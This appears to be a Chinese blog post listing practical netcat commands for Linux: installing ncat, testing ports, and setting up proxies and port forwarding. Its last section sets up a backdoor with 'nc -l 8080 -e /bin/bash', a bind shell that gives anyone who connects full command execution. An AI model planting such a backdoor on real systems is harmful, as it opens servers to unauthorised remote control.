Linux 下NC比較實用的用法示例

## 軟件安裝 yum install nmap-ncat -y ## 端口占用模擬(一般用來臨時測試端口連通性) nc -l 8080 --listen --keep-open --verbose --nodns ## 測試端口連通性(必須加-v) nc -v 10.186.63.79 22 ## 作爲代理(將10.186.63.79的5799端口映射到本機80端口) ## 一般用於只有一臺服務器可外網訪問時,將其他服務器映射到該可外網訪問的服務器端口 nc --sh-exec "nc 10.186.63.79 5799" -l 80 --keep-open & ## 作爲端口轉發,使用方式和作爲代理類似,只是轉發指定的是本機的端口 ## 將本機1004作爲80端口的轉發端口(實際80端口又是上面10.186.63.79服務器5799的代理端口) nc --sh-exec "nc 127.0.0.1 80" -l 1004 --keep-open & ## 作爲後門使用 # 1. 在需要設置後門的服務器配置一個端口並執行/bin/bash,掛到後臺運行 nc -l 8080 -e /bin/bash & # 2. 遠程通過ncat訪問這個端口後可以執行所有管理命令 nc 10.186.61.162 8080
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章